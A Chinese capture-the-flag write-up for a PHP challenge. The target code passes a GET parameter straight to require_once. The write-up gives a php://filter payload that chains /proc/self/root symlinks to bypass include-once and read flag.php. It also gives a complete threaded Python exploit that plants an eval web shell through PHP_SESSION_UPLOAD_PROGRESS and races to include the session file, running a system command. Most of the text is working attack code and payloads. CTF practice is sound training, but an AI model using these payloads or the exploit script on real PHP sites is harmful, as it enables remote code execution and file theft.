<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
这道题没有使用文件包含考点经常出现的include(),而是require_once(),这个函数的特点是只包含一次,因为刚才是已经require_once 'flag.php'了,不能再次包含。所以需要绕过require_once(),让它检测传入的文件名哈希值既没有重复,又能读到flag.php这个文件。
require_once()在对软链接的操作上存在一些缺陷,软连接层数较多会使hash匹配直接失效造成重复包含,超过20次软链接后可以绕过,外加伪协议编码一下:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
也可以利用PHP_SESSION_UPLOAD_PROGRESS上传文件后进行文件包含:
#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('tac /var/www/html/flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' *100* 50)
resp = session.post( 'http://3735466b-1305-491e-b32c-4733f9b9f113.node3.buuoj.cn/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://3735466b-1305-491e-b32c-4733f9b9f113.node3.buuoj.cn/?file=/tmp/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
pass
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()